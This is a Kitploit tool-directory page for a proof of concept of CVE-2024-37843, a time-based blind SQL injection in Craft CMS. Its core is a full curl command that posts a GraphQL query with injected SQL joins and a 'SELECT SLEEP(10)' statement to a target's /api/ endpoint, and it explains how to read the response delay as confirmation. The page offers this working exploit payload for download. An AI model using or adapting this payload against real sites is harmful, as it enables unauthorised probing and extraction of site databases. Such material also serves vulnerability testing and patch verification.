Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-37843-POC — POC for CVE-2024-37843. Craft CMS time-based blind SQLi | Kitploit
Tools/GitHubGitHub/gsmith257-cyber/cve-2024-37843-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubgsmith257-cyber/cve-2024-37843-poc

CVE-2024-37843-POC

POC for CVE-2024-37843. Craft CMS time-based blind SQLi

View Repository
412 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-37843-POC

POC for CVE-2024-37843. Craft CMS time-based blind SQLi

Details available in blog

POC

root@kitploit:~
curl -X POST '<URL>/api/' -H 'Content-Type:application/json' -d '{"query":"query  IntrospectionQuery  {assets(orderBy: \"`assets`.`volumeId` -- \\\\` \\n \\n LIMIT 5) AS `subquery`\\nINNER JOIN `assets` `assets` ON `assets`.`id` = `subquery`.`elementsId`\\nINNER JOIN `volumefolders` `volumeFolders` ON `volumeFolders`.`id` = `assets`.`folderId`\\nINNER JOIN `elements` `elements` ON `elements`.`id` = `subquery`.`elementsId`\\nINNER JOIN `elements_sites` `elements_sites` ON `elements_sites`.`id` = `subquery`.`elementsSitesId`\\nINNER JOIN `content` `content` ON `content`.`id` = `subquery`.`contentId`\\nORDER BY `assets`.`volumeId`; SELECT SLEEP(10) ; --\", limit: 5){filename}}"}'

You can adjust the SLEEP(10) to your needs but if the response to this curl request is >10 the API is vulnerable.

Download Tool